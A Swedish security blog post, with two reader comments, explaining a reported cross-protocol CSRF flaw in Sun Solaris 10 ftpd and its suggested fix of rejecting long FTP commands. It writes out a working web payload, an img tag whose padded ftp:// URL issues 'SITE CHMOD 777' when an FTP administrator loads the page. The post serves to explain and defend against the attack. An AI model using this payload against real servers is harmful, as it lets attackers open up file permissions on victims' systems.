onsdag 26 maj 2010

CSRF mot FTP

Efter en av våra OWASP Sweden-kvällar så diskuterade vi cross-protocol-attacker. Nu har en CSRF-sårbarhet rapporterats in för Sun Solaris 10 ftpd. Hypertext Transfer Protocol till File Transfer Protocol.

Attackeraren kan på sin sajt ha en sån här image-tagg:

<img src="ftp://ftp.sun.com/////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
//////////////////////SITE%20CHMOD%20777%20valfritt filnamn";>

Om en ftp-adminstratör surfar in på den sidan så ändras behörigheten på filen till 777, dvs fullständiga rättigheter för alla användare.

Hur skydda sig?
OK, en vanlig CSRF, eller? Nja, vi är ju vana vid att skydda oss mot CSRF i webbapplikationer med hjälp av synkroniserings- eller flödesbiljetter (ViewState, synchronizer token eller forced browsing). Men ftp har inget naturligt sätt att lägga till biljetter mellan anrop.

Det föreslagna skyddet är att inte tillåta långa ftp-kommandon.

[Jag har mejlat Maksymilian Arciemowicz för att fråga om en del detaljer som inte verkar klara. Återkommer om jag får klargörande svar.]

2 kommentarer:

Daniel Stenberg sa...

John,

Din exempel src="" måste ha en ftp:// och lite annat först dock, för att verkligen bli FTP...

John Wilander sa...

Tack. Jag hade nog för mycket fokus på radbrytningarna :).

Fick svar från Maksymilian men jag kan inte säga att jag förstår. Lite språkförbistring tror jag.